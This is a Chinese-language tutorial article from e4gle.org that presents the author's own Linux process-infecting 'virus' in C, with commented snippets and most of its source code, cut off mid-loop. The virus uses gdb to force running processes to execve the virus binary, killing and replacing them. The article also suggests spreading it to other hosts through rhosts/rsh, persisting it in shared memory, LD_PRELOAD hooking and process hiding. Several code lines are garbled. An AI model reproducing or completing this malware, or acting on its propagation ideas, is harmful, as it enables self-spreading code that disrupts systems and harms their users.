原创:e4gle(大鹰)
by e4gle from e4gle.org
★前言
这些天对elf文件格式内部分布和unix病毒的机理很有兴趣,所以就花点时间来研究研究.看了alert7和小四翻译
的那几篇文章,还是云里雾里.归根结底是那些经典文章太理论化了,所以想实战演练一下.
用汇编来感染elf文件的病毒实现方法不太可能,我没那牛劲,留着以后慢慢研究吧.其实病毒为什么不可以用c来
实现呢?深入了解后发现其实unix病毒的种类应该很多,只要它可以感染别的程序或进程并且扩散,那么就可以叫
病毒啊,呵呵,管它怎么实现呢,呵呵.
在国外的邮件列表里搜索了一通,发觉不感染elf文件的病毒的实现方法很多,许多虽然技术含量一般,但构思很
巧妙,也很有意思,根据那些老外的零星程序片断,我diy了一个病毒,没有任何破坏行为,但可以传染所有的进程
其实大家看了源代码也会明白,非常简单的传染机制.
可以在http://e4gle.org/source/killproc.c看到源代码,代码我都加了很详细的注释.该程序的作用:
搜寻进程列表,调用gdb强制那些pid调用execve
执行病毒文件.进入睡眠状态,再重复以上动作.
所以,最好用其他用户权限来运行它.它会慢慢的感染它有权限访问的所有进程.他的感染速度很慢,所以可以
很容易的清除它.感染该程序后,它会kill掉的所有进程并用自身的拷贝来代替它.它不会影响其它的文件.
需要注意的几个地方:
它只可以在linux系统上运行,工作在各个linux版本,因为它通过读取/proc/#/status来获得可感染的进程名
和进程信息.
这个病毒程序原先只是片断,我把它实现成可用的代码,仅仅作为说明原理和测试之用,它本身也没有太大的危害,也
仅仅只是kill掉感染用户的所有进程并且以自身代替它进入睡眠状态罢了.
★我阐述一下这个病毒用到的一些特别的技术(技术我觉得谈不上,只是一些不太高深的思路而已):
● 示范了如何在工作着的进程调用gdb的技术,用c语言来实现.
pipe(fds);/*建立管道*/
if(fork()==0) {
errno=0;
close(0);
close(1);
close(2);
errno=0;
/* 用dup2调用把管道的读描符重定向到标准输入 */
dup2(fds[0],0);
sleep(3);
execve("/usr/bin/gdb",argv,0);
if(errno) perror("execve");
abort();
}
/* 写gdb命令,用我们的病毒进程来代替目标进程 */
sprintf(buffer,"file /proc/%d/exe\nattach %d\ncall sleep(1)\ncall execve(\"%s\",0,0)\ndetach\nquit\n",pids[k], pids[k],myexe);
/* 把命令送入管道,也就是送入gdb*/
write(fds[1],buffer,strlen(buffer));
/* 等待gdb退出 */
wait();
/* 关闭管道 */
close(fds[0]);
close(fds[1]);
wait();
● 示范了获取进程列表的方法:
i=0; k=0; count=0;
rewinddir(D);/*从/proc的起始开始*/
sleep(3);
while(1) {
d=readdir(D);
if(!d) break;
if(!isdigit(d-d_name[0])) continue;
pid=atoi(d-d_name);
if(pid
pids[i++]=pid;
if(i1000) break;
}
● 示范了一个获取运行中的进程的uid的方法(凭心而论这个方法并不好,但我想不出第二种方法了).、
呵呵,是个死办法,但我没有更好的算法,程序片断如下:
b=strstr(b,"Uid:");
while(!isspace(*b)) b++; while(isspace(*b)) b++;
if(atoi(b)!=uid) continue;
while(!isspace(*b)) b++; while(isspace(*b)) b++;
if(atoi(b)!=uid) continue;
while(!isspace(*b)) b++; while(isspace(*b)) b++;
if(atoi(b)!=uid) continue;
while(!isspace(*b)) b++; while(isspace(*b)) b++;
if(atoi(b)!=uid) continue;
● 拥有一个小巧新颖的感染机制,也就是它仅仅感染内存而不是硬盘.elf文件在内存中的保护机制是很
弱的.我感染的是/proc伪文件系统.
★一些思路的扩展,对这个病毒可以做一些更好的改进:
去除所有的libc库的调用,尽量少用固定的系统调用(这里用了readlink,read,
write,open,close,fork,execve,wait4,nanosleep,和pipe).
利用sysV的共享内存来存储病毒代码,这导致了任何收集的信息都可以被共享甚至如果所有的活动
病毒由于某种原因而停止工作,下一个病毒体也会复活.它利用自身的协议机制来使附体提升为主体,
所以即使杀死主体也仅仅是让其他的附体换个位置成为主体罢了.
可以使该病毒危害面更广:通过扫描~/rhosts和~/.shosts,利用rcp/rsh来感染其它的机器.就象
美丽莎病毒那样,通过扫描邮件箱的地址簿来传播病毒.其实可以独立出来一个模块专门处理这些问
题.
我们可以用一个共享库来修改open/execve调用,就是利用大家熟知的LD_PRELOAD.这样可以代替调
用gdb来重定向execve.然后我们让程序正常返回.
关于隐藏:现在这个程序还没有隐藏进程的功能,我在网上找了找资料,其实实现起来应该也不困难,
第一个我们可以伪装,这种技术很好实现.第二实现真正的隐藏,使ps -f看不到输出,看了一些国外的
文档,利用以前crack黑客游戏里面的getpass程序所用的ptrace好像可以实现,但具体方法我还
没有弄明白,真是郁闷,慢慢研究吧,呵呵.
该病毒源码如下:
代码:
/*only test,by e4gle.
please run it at another user,it will kill the user's all process.:)*/
#include
#include
#include
#include
#include
#include
#define RATE 0.10
int main(int argc,char **argv) {
int r;
char buffer[1024];
char myexe[256],myname[256];
char *b,*c;
pid_t pid;
DIR *D;
struct dirent *d;
pid_t pids[1024];
int i,j,k,fd,fds[2],count;
uid_t uid;
gid_t gid;
/* 取得自己的uid和gid*/
pid=getpid();
uid=getuid();
gid=getgid();
/* 从/proc/pid/exe符号链接通过readlink函数取我们的程序名 */
snprintf(buffer,1000,"/proc/%d/exe",pid);
i=readlink(buffer,myexe,256);
if(i
myexe[i]=0;
/* 从/proc/pid/status文件里面读取我们本身的进程状态信息 */
snprintf(buffer,1000,"/proc/%d/status",pid);
fd=open(buffer,0);
read(fd,buffer,1000);
close(fd);
/*从buffer里面找到我们本身的进程名*/
b=strstr(buffer,"Name:");
while(!isspace(*b)) b++; while(isspace(*b)) b++;/*用了两个循环来控制isspace函数,后面大量用到这种机制,笨办法:(*/
c=b; while(*c!='\n') c++; *c=0;
strncpy(myname,b,250);
srand(time(0));
r=15+rand()%10;
wait();
sleep(r);/*潜伏一个随机值*/
/*开始搜索可以传染的进程*/
D=opendir("/proc");
while(1){
i=0; k=0; count=0;
rewinddir(D);/*从/proc的起始开始*/
sleep(3);
while(1) {
d=readdir(D);
if(!d) break;
if(!isdigit(d-d_name[0])) continue;
pid=atoi(d-d_name);
if(pid
pids[i++]=pid;
if(i1000) break;
}/*这个循环很简单,取/proc目录下的目录名,其实就是取得当前运行着的进程名数组pids*/
for(j=0;j
if(j%2==0) sleep(1);
wait();
/* 展开它们的状态信息*/
snprintf(buffer,1000,"/proc/%d/status",pids[j]);
fd=open(buffer,0);